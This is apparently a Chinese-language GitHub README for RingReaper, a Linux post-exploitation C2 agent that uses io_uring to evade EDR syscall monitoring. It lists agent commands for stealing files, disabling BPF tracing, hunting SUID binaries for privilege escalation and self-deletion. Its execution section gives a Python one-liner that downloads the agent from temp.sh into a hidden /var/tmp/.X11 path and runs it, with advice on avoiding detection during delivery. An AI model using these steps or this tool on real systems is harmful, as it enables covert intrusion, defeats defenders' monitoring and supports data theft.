MatheuZSecurity/RingReaper

GitHub: MatheuZSecurity/RingReaper

基于 io_uring 异步 I/O 的 Linux 后渗透代理,通过绕过传统系统调用监控实现 EDR 规避。

Stars: 369 | Forks: 57

# RingReaper **RingReaper** 是一个简单的 Linux 后渗透代理,专为需要隐蔽操作的场景设计,旨在最大程度降低被 EDR 解决方案检测到的几率。该项目的核心思想是利用 Linux 内核中新的异步 I/O 接口 **io_uring**,特别是为了避开大多数 EDR 倾向于监控甚至 Hook 的传统系统调用。 在实践中,RingReaper 将 `read`、`write`、`recv`、`send`、`connect` 等调用替换为异步 I/O 操作(`io_uring_prep_*`),从而减少暴露在安全产品通常以标准化方式收集的 Hook 和事件追踪面前的风险。 简而言之,RingReaper 的构建旨在**尽可能避免传统调用**,即使在必须使用它们的情况下,它也展示了出色的规避能力,没有引发常见安全代理的任何警报或检测。 请参阅完整详细的文章: https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/ 作者:https://www.linkedin.com/in/mathsalves/ Rootkit 研究人员 - https://discord.gg/66N5ZQppU7 ## 命令参考 | 命令 | 描述 | 后端 | |---------------|----------------------------------------------------------|----------------------| | `get` | 从目标机器查找文件 | 100% io_uring | | `put` | 上传文件(Agent 端使用 `recv`) | 100% io_uring | | `killbpf` | 禁用追踪,删除 `/sys/fs/bpf` 文件并使用 `bpf-map` 杀死进程 | 传统调用 + io_uring | | `users` | 通过读取 `utmp` 列出已登录用户 | 100% io_uring | | `ss` / `netstat` | 从 `/proc/net/tcp` 列出 TCP 连接 | 100% io_uring | | `privesc` | 使用 `statx` 搜索 SUID 二进制文件 | 100% io_uring | | `ps` | 列出进程(使用 `opendir`, `readdir`) | 传统调用 + io_uring | | `kick` | 杀死 `pts` 会话(使用 `opendir`, `readdir`, `kill`, `readlink`) | 传统调用 + io_uring | | `me` | 显示 PID/TTY (`getpid`, `ttyname`) | 传统调用 + io_uring | | `selfdestruct`| 删除当前二进制文件(使用 `readlink`) | 传统调用 + io_uring | | `exit` | 终止连接并退出 | 100% io_uring | | `help` | 显示帮助 | 100% io_uring | 在 RingReaper 中,所有数据流量,包括控制命令、上传和下载,都必须通过 io_uring。这也确保了最敏感的操作不会被基于传统调用的 Hook 和 EDR 监控发现。 ## 关于规避 RingReaper 从设计之初就旨在绕过 EDR 监控。许多安全解决方案的检测触发器基于在内核层拦截经典系统调用(`read`, `recv`, `send`, `connect`)。由于 `io_uring` 相对较新,且较少集成到这些产品的遥测管道中,它通常不会被大多数代理察觉,从而允许进行 C2 会话和数据窃取而不触发警报。 即使仍然依赖较旧系统调用的函数(例如目录读取)也保持足够低调,不会引起警报。 ## 系统要求 - Linux 内核 5.1 或更高版本 - `liburing` 库 - 兼容的 C 编译器(使用 GCC 测试) ## 环境 仅在以下内核版本上进行了**测试**: - 6.8.0-60-generic - 6.12.25-amd64 ## 编译 ``` sudo apt install liburing-dev -y gcc agent.c -o agent -luring -O2 -s -static ``` ## 执行 在测试中,我注意到 EDR 通过实时监控 GCC 的使用检测到了 `agent.c` 的编译(最好不要使用 wget/curl)。为了绕过这一点,我在我的机器上静态编译了 Agent,通过 `temp.sh` 发送编译好的二进制文件,并在目标机器上使用 Python 下载并执行它。这种技术在没有警告的情况下奏效了。 Server(攻击机): - `curl -F "file=@agent" https://temp.sh/upload` - `python3 server.py --ip IP --port 443` Agent(目标机): - `python3 -c "import urllib.request,os,subprocess; u=urllib.request.Request('http://temp.sh/xxxx/stealth_agent',method='POST'); d='/var/tmp/.X11'; open(d,'wb').write(urllib.request.urlopen(u).read()); os.chmod(d,0o755); subprocess.Popen([d]);"` ## 更新日志 **版本 2.0**: * 支持多线程连接。 * 命令历史记录(使用“上”和“下”键)。 * "Clear" 命令,以避免屏幕混乱。 ## 贡献 随时欢迎提交 Pull Request 为项目做出贡献。 如果 RingReaper 有任何错误,请创建一个 Issue 并向我们报告。 ## 免责声明 此代码仅用于教育目的、研究和规避技术的受控演示。任何在授权环境之外的使用,或用于恶意目的,均被严格禁止,并且完全是用户的责任。未经授权或非法使用可能会违反当地、国家或国际法律。
标签:BPF 禁用, C2 代理, CSV导出, EDR 规避, HTTP工具, io_uring, Linux 后渗透, MathewzSecurity, Mr. Robot, RingReaper, Rootkit, Zeek, 内核利用, 协议分析, 后渗透, 安全渗透, 审计工具, 客户端加密, 客户端加密, 异步 I/O, 文件操作, 杀软绕过, 权限提升, 系统调用绕过, 网络安全, 网络安全审计, 隐私保护, 隐身术